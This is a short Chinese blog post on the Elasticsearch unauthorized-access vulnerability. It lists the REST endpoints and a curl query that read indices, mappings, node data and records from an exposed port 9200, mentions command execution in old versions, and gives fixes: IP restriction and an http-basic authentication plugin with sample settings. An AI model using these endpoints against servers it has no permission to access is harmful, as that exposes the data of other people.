基本语法参考
elasticsearch的基本用法_feelManc的技术博客_51CTO博客
漏洞描述
Elasticsearch是一款java编写的企业级搜索服务。越来越多的公司使用ELK作为日志分析,启动此服务默认会开放9200端口或者9300端口,可被非法操作数据
ES未授权访问漏洞复现利用
http://localhost:9200/_cat/indices
http://localhost:9200/_river/_search //查看数据库敏感信息
http://localhost:9200/_nodes //查看节点数据
如有安装head插件:
http://localhost:9200/_plugin/head/ //web管理界面
http://xxxx:9200/_cat/indices?v
然后找数据库中有多少数据表(其实是type,类比为数据表) // 数据表中mapping下一级目录,除了 __default__ 都是 type
http://xxxxxx:9200/_mapping?pretty=true
查看具体数据
http://xxxx:9200/Index/Type/Id
默认值返回10条数据,需要则修改 size // 未测试,因为数据,一般十条就够干很多事情了 :)
$ curl 'localhost:9200/accounts/person/_search' -d '
{
"query" : { "match" : { "desc" : "管理" }},
"size": 1
}'
除了查看数据资源,还存在低版本命令执行
修复方案
1、限制IP访问、对网站数据造成影响
2、在config/elasticsearch.yml中为9200端口设置认证
安装认证插件
cd /usr/share/elasticsearch/plugins/http-basic //es插件目录下
wget https://github.com/Asquera/elasticsearch-http-basic/releases/download/v1.1.0/elasticsearch-http-basic-1.1.0.jar //下载es认证插件
添加账号密码
http.basic.enabled: true
http.basic.log: false
http.basic.user: "loguser"
http.basic.password: "logpwd"
http.basic.ipwhitelist: ["172.16.18.171","172.16.18.114"]
http.basic.xforward: "X-Forwarded-For"
http.basic.trusted_proxy_chains: ["172.16.18.114"]
配置名 | 默认值 | 说明 |
---|---|---|
http.basic.enabled | true | 开关,开启会接管全部HTTP连接 |
http.basic.user | "loguser" | 账号 |
http.basic.password | "logpwd" | 密码 |
http.basic.ipwhitelist | ["172.16.18.171","172.16.18.114"] | 白名单内的ip访问不需要通过账号和密码,支持ip和主机名,不支持ip区间或正则 |
http.basic.trusted_proxy_chains | ["172.16.18.114"] | 信任代理列表 |
http.basic.log | false | 把无授权的访问事件添加到ES的日志 |
http.basic.xforward | "X-Forwarded-For" | 记载代理路径的header字段名 |